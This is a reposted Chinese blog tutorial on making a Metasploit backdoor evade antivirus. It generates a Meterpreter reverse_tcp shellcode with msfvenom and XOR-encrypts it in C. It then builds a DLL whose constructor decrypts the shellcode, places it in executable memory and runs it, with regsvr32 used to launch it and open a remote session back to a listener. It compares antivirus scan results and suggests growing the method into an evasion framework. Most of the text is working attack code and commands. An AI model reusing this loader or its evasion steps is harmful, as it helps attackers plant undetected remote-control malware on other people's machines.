ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

msfvenom payload 免杀简单实践

2021-02-22 14:00:21  阅读:264  来源: 互联网

标签:index 免杀 int unsigned dll msfvenom buf payload


免杀简单实践

实验各种渗透框架的后门,结果很多文件放到硬盘上就开始报毒,这样的话根本
很难实际使用,网上搜索各种免杀工具,据发布有些时间的似乎也都不行,自己
稍微熟悉点的可能是dll这一块,看到有通过加密payload然后再打包成dll,最后
用regsvr32 加载执行的思路,感觉可以是实践下,好歹这个可以自己写下程序。

选择payload

这里选择msf的经典payload:windows/meterpreter/reverse_tcp

//生成c形式的payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=7657 -f c  

在这里插入图片描述

选择加密方式

这里选择比较简单的逐字符异或加密


//粘贴msf的payload
unsigned char buf[] = "
        ....

        ....

unsigned char KEY = '\x87';//随便选个字符

int main(){
    unsigned int cnt = 1;
    for(unsigned int index=0;index < sizeof(buf);index++){
        buf[index] = buf[index]^KEY;
    }

    printf("\n\tunsigned char buf[]=\n");

    for(unsigned int index=0;index < sizeof(buf);){
        if(cnt==1){
            printf("\"");
        }else if(cnt>15){
            cnt = 1;
            printf("\"\n");
            continue;
        }
        printf("\\x%x",buf[index]);
        index++;
        cnt++;
    }
    if(cnt != 1){
        printf("\"");
    }
    printf(";\n");
}

编译执行获得加密结果

D:\dllmaster>gcc -m32 xorGenerator.c

D:\dllmaster>a.exe

在这里插入图片描述

编写解密模块

//config.h 配置模块,一些基本设置
#define XORBYPASSER '\x87'  
#define DATAEXEC
#define NOWINDOW

//xorBypasser.h
void xorDecoder(unsigned char buf[],unsigned int size);
//xorBypasser.c
#include "config.h"

void xorDecoder(unsigned char buf[],unsigned int size){
    for(unsigned int index=0;index<size;index++){
        #ifdef XORBYPASSER
        buf[index] = buf[index]^XORBYPASSER;
        #endif
    }
}

编写DLL

//DllMain.h

#include "config.h"

void __attribute__((constructor)) DllMain(void);    

//把加密后的payload粘贴过来
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
    ....
    ....

//DllMain.c

#include "DllMain.h"
#include <stdio.h>
#include <windows.h>

typedef void (__stdcall *CODE) ();  

void DllMain(){  

    unsigned int buf_size = sizeof(buf);  
    
#ifdef XORBYPASSER
    xorDecoder(buf,buf_size);\\解密payload
#endif  
    
    //这里采用申请内存空间的方式,把payload复制进去执行,也可以将data段设置可执行位直接跳转执行
            PVOID p = NULL;  
    if ((p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)  
        MessageBoxA(NULL, "error", "info", MB_OK);  
    if (!(memcpy(p, buf, sizeof(buf))))  
        MessageBoxA(NULL, "error", "info", MB_OK);  
  
    CODE code =(CODE)p;  
  
    code();  
}

编译测试DLL

gcc -m32 -shared -o master.dll xorBypasser.c DllMain.c

在编写一个注册脚本 保存为test.bat

regsvr32 master.dll

远控端启动multi/handler监听会话
在这里插入图片描述

点击bat,成功上线

在这里插入图片描述

注释掉代码里的XORBYPASSER宏,把payload换回未加密的,生成一个dll来比较下

gcc -m32 -shared -o noob.dll xorBypasser.c DllMain.c  

在线查毒检测

master.dll 加密后的payload

在这里插入图片描述
在这里插入图片描述

noob.dll 未加密的payload

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

基本还是有效果的

后记

这套代码,可以进一步扩展,最简单的可以设计一套bat脚本,利用编译器的预处理,自动化修改源码,然后生成dll
还可以进一步编写更复杂的加密模块,代码混淆,payload分段,设计成免杀框架

标签:index,免杀,int,unsigned,dll,msfvenom,buf,payload
来源: https://blog.csdn.net/jazrynwong/article/details/113935193

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有